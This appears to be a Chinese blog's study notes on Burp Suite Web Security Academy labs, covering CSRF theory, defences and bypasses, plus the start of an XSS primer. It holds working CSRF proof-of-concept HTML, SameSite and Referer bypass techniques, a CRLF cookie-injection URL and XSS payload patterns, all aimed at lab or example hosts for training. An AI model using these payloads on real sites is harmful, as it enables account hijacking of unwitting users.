Burp靶场 on Calendar's Blog

Burp靶场：CSRF 跨站请求伪造

Sat, 22 Nov 2025 00:00:00 +0000

知识

原理

跨站请求伪造（Cross-site request forgery）是一种漏洞，攻击者可通过该漏洞诱导用户执行非本意的操作。它能让攻击者部分绕过 “同源策略”—— 该策略的设计初衷本是防止不同网站之间相互干扰。

成功的 CSRF 攻击会诱导受害用户执行非本意的操作。例如，修改账户绑定邮箱、更改密码或进行资金转账等。根据操作的性质不同，攻击者可能完全掌控用户账户。若被攻陷的用户在应用中拥有特权角色（如管理员），攻击者则可能全面控制应用的所有数据与功能。

CSRF攻击的实施需满足三个核心前提，攻击者通过构造恶意页面诱导用户触发请求，利用浏览器自动携带的用户凭证完成攻击，具体原理如下：

前提：

存在有价值的目标操作：应用中存在攻击者值得诱导的操作，可能是特权操作（如修改其他用户权限），也可能是用户专属数据操作（如修改自身密码、绑定邮箱）。
基于Cookie的会话验证：执行该操作的HTTP请求，仅依赖会话Cookie识别用户身份，无其他会话跟踪或请求验证机制（如无CSRF令牌）。
请求参数可预测：触发操作的请求中，所有参数值均为攻击者可确定或猜测的内容（例如修改密码时无需知道原密码，仅需提交新密码参数）。

示例

假设某应用的“修改邮箱”功能存在CSRF漏洞，用户执行修改操作时发送的HTTP请求如下：

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

该请求满足上述三大前提：修改邮箱是高价值操作（可后续重置密码劫持账户）、仅通过sessionCookie验证身份、email参数值可由攻击者任意指定。

攻击者创建包含自动提交表单的HTML页面，核心代码如下：

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit(); // 页面加载后自动提交表单
        </script>
    </body>
</html>

攻击者诱导受害用户访问该恶意页面（如通过邮件、社交链接发送）；
若用户已登录目标应用，浏览器会自动在请求中携带其sessionCookie（未启用SameSite Cookie策略时）；
恶意页面自动向目标应用发送“修改邮箱”的POST请求，参数为攻击者指定的邮箱（pwned@evil-user.net）；
目标应用通过Cookie识别用户身份，将该请求视为受害用户的合法操作，执行邮箱修改。

CSRF攻击并非仅局限于Cookie-based会话验证，只要应用会自动在请求中添加用户凭证（如HTTP基本认证、基于证书的认证），均可能出现CSRF漏洞。

攻击构造

手动创建CSRF漏洞利用所需的HTML代码较为繁琐，尤其是当目标请求包含大量参数或存在其他特殊格式要求时。构造CSRF利用代码最简单的方式，是使用Burp Suite Professional内置的CSRF PoC生成器，操作步骤如下：

在Burp Suite Professional中，选中任意你想要测试或利用的请求；
右键点击该请求，在上下文菜单中选择「Engagement tools（渗透测试工具）」→「Generate CSRF PoC（生成CSRF验证代码）」；
Burp Suite会自动生成一段HTML代码，这段代码可触发选中的请求（不包含Cookie——受害用户的浏览器会自动添加Cookie）；
你可以在CSRF PoC生成器中调整各类选项，对攻击细节进行优化。部分特殊场景下（如请求存在特殊格式要求），可能需要通过这些选项适配请求特性；
将生成的HTML代码复制到一个网页中，在已登录目标漏洞网站的浏览器中打开该网页，验证目标请求是否成功发起，且预期操作是否执行。

触发方式

CSRF攻击的交付机制与反射型XSS基本一致，核心是让受害用户触发恶意请求，具体方式如下：

一、常规交付方式（依赖外部网站）

攻击者将恶意HTML代码部署到自己控制的网站；
通过邮件、社交媒体消息等方式，向受害用户发送该网站的链接，诱导其访问；
若恶意代码被植入热门网站（如用户评论区），攻击者无需主动诱导，只需等待用户自然访问该网站即可触发攻击。

二、简化交付方式（无需外部网站，GET请求场景）

部分简单的CSRF漏洞可通过GET方法触发，此时攻击可被封装为漏洞网站的单个URL，无需依赖外部站点：

攻击者直接构造恶意URL，将攻击参数嵌入查询字符串；
诱导用户访问该恶意URL，浏览器会自动发送GET请求触发攻击；
示例：若“修改邮箱”功能支持GET请求，攻击URL可直接封装为图片标签（用户访问含该标签的页面即触发）：
1

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

防御手段

如今，发现并利用CSRF漏洞往往需要绕过目标网站、受害浏览器或两者均部署的反CSRF机制。以下是最常见的防护手段：

1. CSRF令牌（CSRF Tokens）

核心机制：服务器端生成唯一、保密且不可预测的令牌，并传递给客户端；
防护逻辑：客户端执行敏感操作（如提交表单）时，必须在请求中包含正确的CSRF令牌；
防护效果：攻击者无法知晓合法令牌值，难以构造有效的恶意请求，防护效果显著。

常见的隐含 CSRF 令牌的方式
<form name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required type="email" name="email" value="example@normal-website.com">
    <input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
    <button class='button' type='submit'> Update email </button>
</form>

2. SameSite Cookie

核心机制：浏览器的安全机制，用于决定网站Cookie是否在跨站请求中携带；
防护逻辑：敏感操作通常需要携带已认证的会话Cookie，合适的SameSite限制可阻止跨站请求携带该Cookie；
浏览器默认行为：2021年起Chrome浏览器默认强制执行Lax级别的SameSite限制，该标准后续有望被其他主流浏览器采纳。

3. 基于Referer的验证

核心机制：部分应用利用HTTP Referer请求头防御CSRF，验证请求是否来自应用自身域名；
防护效果：整体有效性低于CSRF令牌验证，易被绕过（如Referer可被篡改或隐藏）。

Samesite防御

判断两个 URL 是否属于同一源（origin）站，需满足三个 “完全一致”：

协议（scheme）相同（如均为 HTTP 或 HTTPS）；
域名（domain name）相同；
端口（port）相同（注：端口通常可由协议推导，如 HTTP 默认 80 端口、HTTPS 默认 443 端口）。

Strict

若 Cookie 设置了SameSite=Strict属性，浏览器不会在任何跨站请求中携带该 Cookie。简单来说，只要请求的目标网站与浏览器地址栏中当前显示的网站不一致，浏览器就不会包含该 Cookie。

这种模式推荐用于具备数据修改权限或执行其他敏感操作的 Cookie（例如，用于访问仅认证用户可进入的特定页面的 Cookie）。

尽管这是安全性最高的选项，但在需要跨站功能的场景中，可能会对用户体验产生负面影响（例如跨站登录、第三方平台嵌入功能会因 Cookie 无法携带而失效）。

Lax

Lax 级别的 SameSite 限制意味着，浏览器仅在同时满足以下两个条件时，才会在跨站请求中携带该 Cookie：

请求使用 GET 方法；
请求由用户的顶层导航触发（例如点击链接跳转页面）。

这意味着：

跨站 POST 请求不会携带该 Cookie（按最佳实践，POST 请求通常用于执行数据修改或状态变更操作，是 CSRF 攻击的主要目标）；
后台请求（如脚本发起的 AJAX 请求、iframe 嵌入请求、图片等资源引用请求）也不会携带该 Cookie。

Lax 模式平衡了安全性与用户体验：既通过阻断高风险跨站请求（POST、后台请求）的 Cookie 携带，抵御大部分 CSRF 攻击；又允许正常的跨站 GET 导航（如点击第三方网站的链接跳转到目标网站）携带 Cookie，保障跨站访问的可用性（例如用户从博客链接跳转至电商网站时，仍能保持登录状态）

None

若Cookie设置了SameSite=None属性，则完全禁用SameSite限制（不受浏览器类型影响）。因此，浏览器会在所有指向该Cookie所属网站的请求中携带该Cookie——即便请求是由完全无关的第三方网站触发的。

除Chrome浏览器外，其他主流浏览器在设置Cookie时若未显式指定SameSite属性，默认行为等同于SameSite=None（但目前Chrome已默认采用Lax模式，该差异需开发者重点关注）。

存在合理的场景需要禁用SameSite限制，例如：Cookie本身用于第三方上下文（如跨站嵌入的功能、第三方统计），且不授予持有者访问任何敏感数据或功能的权限。典型示例为跟踪Cookie（用于用户行为分析、广告投放等场景）。

Secure属性强制要求：现代浏览器（如Chrome 80+、Firefox 79+）规定，设置SameSite=None的Cookie必须同时添加Secure属性（仅在HTTPS请求中携带），否则Cookie会被浏览器拒绝。示例：

`1`	`Set-Cookie: tracking-id=abc123; SameSite=None; Secure`

攻击手段

CSRF

看 Lab

Samesite

get 绕过 Lax

利用 get 请求

实际场景中，服务器并非总会严格校验特定接口接收的是GET还是POST请求——即便是预期接收表单提交的接口也不例外。如果服务器为会话Cookie设置了Lax限制（无论是显式配置，还是因浏览器默认策略生效），攻击者仍可诱导受害者浏览器发起GET请求，实施CSRF攻击。

只要该请求触发了顶层导航，浏览器就会携带受害者的会话Cookie。以下是发起此类攻击最简单的方法之一：

1
2
3

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

document.location会触发浏览器地址栏的页面跳转（顶层导航），符合SameSite Lax允许携带Cookie的条件，这是绕过的核心前提

即便普通GET请求被服务器拒绝，部分框架也提供了覆盖请求行中指定方法的手段。例如，Symfony框架支持在表单中使用_method参数，该参数会优先于常规请求方法，作为路由匹配的依据：

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

其他框架也提供了各类类似的参数，可实现相同的请求方法覆盖效果。

重定向绕过 Strict

如果 Cookie 设置了 SameSite=Strict 属性，浏览器将不会在任何跨站请求（cross-site requests） 中携带该 Cookie。但如果你能找到一个攻击载体（gadget），使其触发同站点内的二次请求（secondary request），则可能绕过这一限制。

一种可行的攻击载体是客户端重定向（client-side redirect） —— 它利用攻击者可控的输入（如 URL 参数）动态构造重定向目标。相关示例可参考我们关于基于 DOM 的开放重定向（DOM-based open redirection） 的资料。

在浏览器看来，这类客户端重定向并非真正意义上的 “重定向”：最终发起的请求会被视为普通的独立请求（ordinary, standalone request）。关键在于，该请求属于同站点请求（same-site request），因此会携带与该站点相关的所有 Cookie，不受任何 SameSite 限制的影响。

若你能操控此攻击载体触发恶意的二次请求，即可完全绕过（bypass completely） 所有 SameSite Cookie 限制。

需注意：服务器端重定向（server-side redirects） 无法实现此类攻击。因为在这种情况下，浏览器会识别出 “跟随重定向的请求” 最初源自跨站请求，因此仍会执行相应的 Cookie 限制策略。

设置了SameSite Lax限制的Cookie，通常不会在任何跨站POST请求中被发送，但存在一些例外情况。

如前所述，若网站在设置Cookie时未添加SameSite属性，Chrome浏览器会默认自动应用Lax限制。不过，为避免破坏单点登录（SSO）机制，Chrome在顶级POST请求的前120秒内，并不会实际强制执行该限制。这就导致出现了一个两分钟的窗口期，在此期间用户可能会遭受跨站攻击。

[!NOTE]

这个两分钟的窗口期不适用于那些被显式设置了SameSite=Lax属性的Cookie。

试图精准把控攻击时机，使其落在这个短暂的窗口期内，在实操中多少有些不切实际。但另一方面，如果你能在目标站点找到一个攻击载体，迫使受害者的浏览器被颁发一个新的会话Cookie，就可以在发起主攻击前，抢先刷新受害者的Cookie。例如，完成一次基于OAuth的登录流程时，每次都可能生成新的会话——因为OAuth服务并不一定会知晓用户是否仍在目标站点保持登录状态。

若想让受害者无需手动重新登录就能触发Cookie刷新，你需要借助顶级导航，这能确保与用户当前OAuth会话相关的Cookie被携带。但这又带来了一个额外的挑战：你需要将用户重定向回你的站点，才能发起跨站请求伪造（CSRF）攻击。

顶级导航：指直接在浏览器地址栏发起、或通过顶级导航（如页面跳转）触发的POST请求，区别于嵌套在iframe中的跨站POST请求，Chrome对其有120秒的Lax限制豁免期

此外，你也可以在新标签页中触发Cookie刷新，这样浏览器就不会在你发起最终攻击前离开当前页面。这种方法存在一个小问题：浏览器会阻止弹窗标签页，除非它们是通过用户的手动交互打开的。例如，以下弹窗代码默认会被浏览器拦截：

`1`	`window.open('https://vulnerable-website.com/login/sso');`

要绕过这一限制，你可以将该语句封装在点击事件处理器中，代码如下：

1
2
3

window.onclick = () => {
    window.open('https://vulnerable-website.com/login/sso');
}

通过这种方式，只有当用户在页面的某个位置点击时，window.open()方法才会被调用。

绕过 Referer

除了采用 CSRF 令牌（CSRF tokens）的防御方式外，部分应用还会利用 HTTP Referer 头（HTTP Referer header） 抵御 CSRF 攻击 —— 其核心逻辑通常是验证请求是否源自应用自身的域名。但这种防御方式的有效性普遍较低，且常常存在可被绕过的漏洞。

HTTP Referer 头（HTTP 规范中存在拼写疏漏，正确英文应为 “Referrer”）是一个可选请求头，其内容为 “链接到当前请求资源的网页 URL”。当用户触发 HTTP 请求时（例如点击链接、提交表单），浏览器通常会自动添加该请求头。

目前存在多种方法可让 “发起请求的源页面”隐藏或修改 Referer 头的值，这类操作通常是出于隐私保护的目的（例如防止目标站点获取用户的访问来源）。

空白绕过

部分应用程序的处理逻辑是：当请求中携带Referer头时，才会对其进行校验；若该请求头被省略，则直接跳过校验。

在这种情况下，攻击者可以构造特殊的CSRF利用页面，使受害者的浏览器在发送请求时丢弃Referer头。实现该效果的方法有多种，其中最简便的是在承载CSRF攻击的HTML页面中，添加一个META标签：

`1`	`<meta name="referrer" content="never">`

弱检测

部分应用程序对 Referer 头的校验方式十分简陋，这种校验机制很容易被绕过。例如，若应用仅校验 Referer 中的域名是否以预期值开头，攻击者便可将目标域名设置为自身域名的子域名：

`1`	`http://vulnerable-website.com.attacker-website.com/csrf-attack`

同理，若应用只是简单校验 Referer是否包含自身域名，攻击者只需将目标域名嵌入 URL 的其他位置即可，比如：

`1`	`http://attacker-website.com/csrf-attack?vulnerable-website.com`

注意尽管你可以通过 Burp 工具发现应用的这种校验行为，但在浏览器中测试对应的概念验证（PoC）代码时，往往会发现这种方法失效。为了降低敏感数据通过 Referer 头泄露的风险，如今许多浏览器默认会从 Referer 头中剥离查询字符串。

你可以通过以下方式覆盖这一浏览器行为：确保承载攻击利用代码的响应中，设置了Referrer-Policy: unsafe-url响应头（需注意：此处的Referrer拼写是正确的 —— 这一细节正是为了检验你是否在认真关注！）。该设置能保证浏览器发送完整的 URL，其中包含查询字符串部分。

Labs

无 waf

1.攻击点：抓到更改邮箱的包

POST /my-account/change-email HTTP/2
Host: 0adb00ec04977937805ab22d00ce00dd.web-security-academy.net
Cookie: session=zO38aClXpZPBEVpQ5KWLRyKX8dfvZ8ZR
......

email=111%40qq.com

2.攻击：生成 poc 以后，记得勾选自动提交，copy 下 html 以后发送给受害者就可以了。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0adb00ec04977937805ab22d00ce00dd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="111&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

绕过 CSRF 令牌

漏查 GET

1.攻击点：抓更新邮箱的包，发现包含 CSRF 令牌，更改令牌后，请求被拒绝。但是更改请求方式为 Get 以后，又被接受了。

2.攻击：同上，差异在于 <form> 标签里的 method，这里没指定的话就是默认 get

漏查无令牌情况

1.攻击点同上

2.攻击：字面意思，就是忘记检查不带 csrf 令牌的情况了，直接删掉就行。

漏查令牌所有者

1.攻击点同上

2.攻击：字面意思，有一个有效令牌就行了，不管是谁的。

[!NOTE]

csrf 令牌只能使用一次！所以得用新的来生成注入代码

1.攻击点：

POST /my-account/change-email HTTP/2
Host: 0a3400ce0428f9d280a203d800fc0048.web-security-academy.net
Cookie: csrfKey=ggJi08btS3rz50WL91sxEL0mMopaNN4z; session=gi9Vh11li133YzoXHVZmM0ON8aIzGsWR
......
Priority: u=0, i

email=111%40qq.com&csrf=7LS37jBoGngLRkbjg8qCmj6TlrhUO05Z

发现既有 csrf 又有 csrfKey

2.测试：首先需要验证（两个账号测试），csrf 令牌只与 csrfKey 绑定（而非用户 session），这就给了攻击的可能。我们要做的就是更改用户的 Cookie 以及更改用户的令牌。

3.攻击：替换 Cookie 需要用到 script，/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None，要让受害者访问这个链接，然后配合自己的令牌发包。

即如下代码对/r/n url 编码了
1
2
/?search=test
Set-Cookie: csrfKey=YOUR-KEY; SameSite=None

4.payload：

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a5600ef0353c473804a2671006200c0.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="11111&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="9TNd8PU7ffxDiebZmAYuVMVsa7eaJAGt" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://0a5600ef0353c473804a2671006200c0.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=sPnN91GwgoWYmf7aLfqYoBRNSXZPuDTn%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

将原本的 script 改成了 img 标签，直接触发

src的本质是发起 HTTP 请求：当受害者的浏览器加载这个<img>标签时，会自动向src中的 URL 发送 GET 请求 —— 这个 URL 就是实验中存在响应头注入漏洞的搜索功能。

URL 中的%0d%0a实现响应头注入：搜索功能会把search参数的内容反射到响应头中，而%0d%0a是 HTTP 的回车 + 换行符，会让服务器的响应头被 “拆分”，插入攻击者自定义的Set-Cookie头。

onerror的触发条件：<img>标签的src指向的是一个搜索请求的 URL，而非真正的图片资源，服务器返回的响应不是图片格式，因此<img>会加载失败，触发onerror事件,能确保Cookie 已经注入完成，再提交表单。

document.forms[0].submit()的作用：触发页面中第一个表单的自动提交 —— 这个表单就是攻击者构造的 “修改邮箱” 的 CSRF 表单（包含攻击者自己的 CSRF 令牌）。

1.攻击点同上，这里发现了 Cookie 中也出现了 csrf，考虑可能后端只检验了两个 csrf 是否相同

2.攻击：和上一题一样，只需将 Cookie 中的 csrf 改为与表单中提交的 csrf 一样即可。

绕过 Samesite

Lax

Get + _method 绕过

1.攻击点：抓更改邮箱的包，发现并没有明显的限制，无 csrf，也无 samesite 限制，那么就是默认的 Lax 限制，考虑用 Get 绕过

2.测试：直接用 Get 发包，提示只能用 post 方法，于是考虑用 _method=post 来欺骗服务器，将 Get 方法识别为 post

GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1 成功绕过 post 检测

3.payload:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      document.location = "https://0af90060032691628069032c00d40060.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
    </script>
  </body>
</html>

1.攻击点：抓更改邮箱的包，发现没有明显限制。登录过程中，发现需要重定向到 Oauth，并且没有显式指定 Samesite，而且登录时会重新 set 一个 Cookie，所以可以考虑用重定向 + Oauth窗口期来绕过。

2.测试：如果访问更改邮箱地址的时间与登录时间相隔超过 120s，就会更改成功，否则就会重定向到登录界面。所以思路就是，让用户先重定向到登录从而得到新 Cookie 并且外带，然后再提交更改邮箱的请求。

3.攻击：利用函数搭配延迟触发

<form method="POST" action="https://0a19004c04cb844080140371008500dc.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
   window.onclick = () => {
        window.open('https://0a19004c04cb844080140371008500dc.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail(){
        document.forms[0].submit();
    }
</script>

Strict

重定向绕过

1.攻击点：抓更新邮箱的包，没有特殊限制，抓登录的包，发现 Samesite = Strict，故需要考虑绕过。

2.测试：在主页的发送 post 中，发现在发送评论后，会跳转到确认页面，然后重定向到原来的 post，要怎么利用呢？如果我从确认页跳转到更改邮箱的页面，就可以携带用户的 Cookie 了！

3.攻击：需要搭配路径穿越，重定向到指定网站。如下构造：

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
    document.location = "https://0ada003e03bafa27810c1176007b00da.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
  </body>
</html>

注意，为了保证参数的独立、有效性，需要对 & 进行 URL 编码。后面的 submit 是附带的。将原本的 post 请求改为了等价的 get 请求。

子域名 + WebSocket

要先学一下 websocket…… 跳了

Referrer 绕过

检测遗漏

1.攻击点：抓更改邮箱的包

2.测试：没有明显的限制，但是发现了有 Referer，更改了以后请求不被接受，删除了以后可以正常发包，绕过了。

3.攻击：添加 meta 标签即可

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
<meta name="referrer" content="never">
  <body>
    <form action="https://0ac000720470f4dc803b1c4600a90089.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="123&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

检测简陋

1.攻击点：抓更新邮箱的包，发现 Referer，更改内容后无法过检测，但是在前面添加时可以的，推测只要存在原有域名就可以了。找到绕过点。

2.测试：了解到js方法 history.pushState("", "", "/?0a0f00e8043675cc805ec1b20058002d.web-security-academy.net")，HTML5 的 History API，用于修改浏览器地址栏 URL 而不触发页面刷新；能够用于构造带目标域名的查询字符串，进而控制 Referer 头内容。但是这样还是会被检测出来，需要再在请求头中添加 Referrer-Policy: unsafe-url，否则浏览器会自动剥离 Referer 中的查询字符串。

注意 Referrer-Policy 拼写是正确的

3.攻击：更改 js 代码，添加 history api。更改服务器的 Head。发包即可。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a0f00e8043675cc805ec1b20058002d.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="123654&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState("", "", "/?0a0f00e8043675cc805ec1b20058002d.web-security-academy.net");
      document.forms[0].submit();
    </script>
  </body>
</html>

Burp靶场：XSS 跨站脚本注入（待完善）

Sat, 22 Nov 2025 00:00:00 +0000

知识

XSS速查表

原理

XSS（Cross-site scripting）就是网站的一个安全漏洞——攻击者能利用这个漏洞，搞乱用户和网站的正常交互。

浏览器原本禁止不同网站之间随便访问对方的数据（比如打开淘宝，淘宝不能直接读取你微信的数据），这就是同源策略。但XSS能绕开这个规则。

一旦网站有XSS漏洞，攻击者就能伪装成受害用户，干用户能做的所有事（比如发消息、转账），还能看用户的所有数据（比如个人信息、登录凭证）。如果这个用户是网站管理员（有最高权限），攻击者甚至能完全控制整个网站。

工作机制很简单：攻击者让有漏洞的网站，给用户返回一段恶意的JavaScript代码。等用户打开网站，这段代码就在用户的浏览器里自动执行了——这时候，用户和网站的交互就被攻击者完全操控了。

XSS 攻击主要分 3 种：

反射型 XSS：恶意代码藏在当前的 HTTP 请求里（比如搜索框输入、URL 参数里），网站没处理就直接返回，浏览器一执行就中招。
存储型 XSS：恶意代码会被网站存到数据库里（比如评论区、个人资料页），只要有人打开包含这段代码的页面，就会自动执行 —— 相当于把恶意代码留在网站上，谁来谁中招。
DOM 型 XSS：这个漏洞不在网站服务器的代码里，而是在你浏览器端的代码（比如网页里的 JavaScript）里，是客户端自己处理数据时出的问题。

验证XSS漏洞（PoC）

想知道一个网站有没有XSS漏洞，最直接的办法就是“注入测试代码”：往网站的输入框（比如评论区、搜索框）里填一段JavaScript代码，看能不能让浏览器执行。

以前大家都用alert()函数做测试——这函数特别好用：代码就几个字、没危险，而且一旦执行成功，浏览器会弹出一个提示框，一眼就能看出来漏洞存在。大部分情况只要让模拟用户的浏览器弹出这个提示框，就算验证成功了。

不过有个小坑：用Chrome浏览器的话，从92版本（2021年7月更新）开始，跨网站的iframe里不能用alert()了。有些复杂的XSS攻击需要用到这种iframe，这时候就换个测试代码——用print()函数就行（执行后会弹出打印页面，同样能验证漏洞）。

反射型

应用程序从HTTP请求中接收数据后，未经过安全处理便将其直接嵌入即时响应内容中，导致恶意脚本被浏览器执行。其核心特征是恶意代码通过请求“反射”至响应结果，仅在单次请求-响应周期中生效，不涉及数据存储。

示例

假设某网站的搜索功能通过URL参数接收用户输入的关键词，例如用户搜索“gift”时，请求URL如下：

`1`	`https://insecure-website.com/search?term=gift`

应用程序收到请求后，会将参数term的值直接回显到响应页面中，返回的HTML内容为：

`1`	`<p>您搜索的关键词：gift</p>`

此时数据仅作为正常文本展示，无安全风险。

当应用程序未对请求参数进行过滤、转义等安全处理时，攻击者可构造包含恶意JavaScript代码的URL：

`1`	`https://insecure-website.com/search?term=<script>/* 恶意代码逻辑 */</script>`

应用程序依然直接回显参数内容，导致响应中包含恶意脚本：

`1`	`<p>您搜索的关键词：<script>/* 恶意代码逻辑 */</script></p>`

当受害者点击该恶意URL时，恶意脚本会在其浏览器中执行，且执行上下文与受害者的应用程序会话相关联——攻击者可借此获取用户会话凭证、篡改页面内容等。

影响

若攻击者能够控制在受害用户浏览器中执行的脚本，通常可完全攻陷该用户的账户与交互环境。具体而言，攻击者可实现以下操作：

执行受害用户在应用内有权限完成的任意操作；
查看受害用户可访问的所有信息；
修改受害用户有权限更改的各类数据；
以受害用户的身份与应用内其他用户发起交互（包括实施恶意攻击），且此类操作会显示为受害用户本人所为。

攻击者需通过外部传播渠道诱导受害用户发起受控请求，方可成功实施反射型 XSS 攻击。常见传播手段包括：

在自身控制的网站或支持用户生成内容的第三方平台上植入恶意链接；
通过电子邮件、推特（Twitter）或其他即时通讯工具向目标用户发送恶意链接。

攻击方式

反射型XSS存在多种具体表现形式，其漏洞利用所需的攻击载荷（Payload）类型及漏洞影响范围，主要取决于以下两个核心因素：

反射数据在响应中的位置

应用程序将用户输入数据反射至响应内容时，会嵌入不同的上下文场景（如HTML标签内、标签属性中、JavaScript代码块里等），不同位置对攻击载荷的格式要求截然不同。

示例1：数据嵌入HTML标签文本中（如<p>用户输入</p>），通常需使用<script>等标签构造恶意脚本；
示例2：数据嵌入HTML标签属性中（如<img src="用户输入">），可能需要先闭合属性引号（如"onload=恶意代码"）再注入脚本；
示例3：数据嵌入JavaScript代码中（如var x = "用户输入"），需先闭合字符串或代码块（如"; 恶意代码; //）才能让脚本执行。

应用程序对提交数据的预处理

若应用程序在反射数据前，对用户输入执行了验证、过滤或编码等处理（如过滤<script>标签、将特殊字符转义为HTML实体等），则需针对性调整攻击载荷：

若过滤了<script>标签，可改用<img onload>、<svg onload>等不含被过滤关键词的事件驱动型脚本；
若对<、>等字符进行了HTML编码，可尝试在JavaScript上下文或属性上下文等未编码的场景中注入，或利用编码绕过技巧（如大小写混淆、特殊字符替换）。

漏洞发现

绝大多数反射型XSS漏洞可通过Burp Suite的Web漏洞扫描器快速、可靠地检测到。以下是手动测试反射型XSS漏洞的完整步骤，结合实战场景拆解操作逻辑：

一、覆盖所有输入入口

需逐一测试应用程序HTTP请求中所有可能传入数据的入口，确保无遗漏：

核心输入点：URL查询字符串（如?id=123）、POST请求体（表单数据）、URL路径（如/user/[输入值]）；
可选测试点：HTTP请求头（如Referer、User-Agent、Cookie等）—— 需注意：部分仅能通过特定请求头触发的XSS类行为，实际可能无法利用（因浏览器对请求头的输入限制或同源策略约束）。

二、提交随机字母数字值，验证数据是否反射

构造测试值：为每个输入入口提交一个唯一的随机字母数字值（如x7z9p2q5）。要求：

仅含字母数字（避免触发输入验证拦截）；
长度约8字符（既简短易通过验证，又能降低响应中偶然匹配的概率）；

工具辅助高效测试：

用Burp Intruder的“随机生成十六进制值”功能生成测试值；
开启Burp Intruder的“Grep Payloads”设置，自动标记包含提交值的响应（快速筛选出存在反射的入口）；

核心目的：确认提交的随机值是否原封不动（或仅轻微修改）出现在响应内容中—— 存在反射是触发XSS的前提。

三、确定反射上下文

针对响应中随机值出现的每个位置，分析其嵌入上下文（不同上下文需对应不同攻击载荷），常见场景包括：

HTML标签间文本：如<p>随机值</p>（直接嵌入标签内容）；
带引号的标签属性：如<input value="随机值">（可能是单引号、双引号或无引号包裹）；
JavaScript代码中：如var data = "随机值";（嵌入脚本字符串、注释或代码块）；
CSS样式中：如<style>body{color:随机值;}</style>（较少见，但需注意上下文约束）。

四、测试候选 Payload

根据反射上下文，设计能触发JavaScript执行的初始候选载荷，操作步骤：

将请求发送到Burp Repeater（右键请求 → Send to Repeater）；
保留原始随机值（作为定位标记），在其前后插入候选载荷（如在x7z9p2q5前添加<script>alert(1)</script>）；
在Burp Repeater的响应视图中，搜索原始随机值—— Burp会高亮所有反射位置，便于快速查看载荷是否被原样保留；
核心判断：若载荷未被修改且符合上下文语法（如标签闭合正确、引号匹配），则可能触发XSS。

五、测试替代载荷（应对输入过滤/修改）

若候选载荷被应用程序过滤（如移除<script>标签）、编码（如将<转义为<）或拦截，则需根据反射上下文和输入验证规则，调整载荷策略：

上下文适配：如HTML属性中用"onload=alert(1)x="（闭合属性引号+事件触发），JavaScript中用";alert(1);//（闭合字符串+注释后续代码）；
绕过过滤：如大小写混淆（<Script>alert(1)</Script>）、标签替换（<img src=x onerror=alert(1)>替代<script>）、特殊字符编码（如URL编码、Unicode编码）；
参考：可结合“跨站脚本攻击上下文”相关知识，针对性设计载荷。

六、在浏览器中验证攻击效果

若在Burp Repeater中确认载荷有效，需在真实浏览器中验证（避免工具环境与实际浏览器的差异导致误判）：

触发方式：
- URL参数注入：直接将含载荷的URL粘贴到浏览器地址栏；
- POST请求/请求头注入：用Burp Proxy拦截请求，修改参数后放行，观察浏览器行为；
验证脚本：推荐执行简单可见的JavaScript（如alert(document.domain)），若浏览器弹出包含当前域名的提示框，则说明XSS漏洞已成功利用。

存储型

应用程序从不可信来源接收数据后，未经过安全处理便将其纳入后续的 HTTP 响应中，导致恶意脚本被浏览器执行的漏洞类型。其核心特征是恶意数据会被应用程序持久化存储（如存入数据库），而非仅在单次请求 - 响应周期中临时传递。

示例

假设某网站支持用户对博客文章提交评论，且评论内容会对所有访问该文章的用户展示。用户提交评论时，发送的HTTP请求如下：

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net

评论提交后，任何访问该博客文章的用户，都会在应用程序的响应中看到该评论内容：

`1`	`<p>This post was extremely helpful.</p>`

此时数据仅作为正常评论展示，无安全风险。

若应用程序未对评论内容进行过滤、转义等安全处理，攻击者可提交包含恶意JavaScript代码的评论。在攻击者发送的请求中，恶意评论会被URL编码（避免传输过程中出现解析异常）：

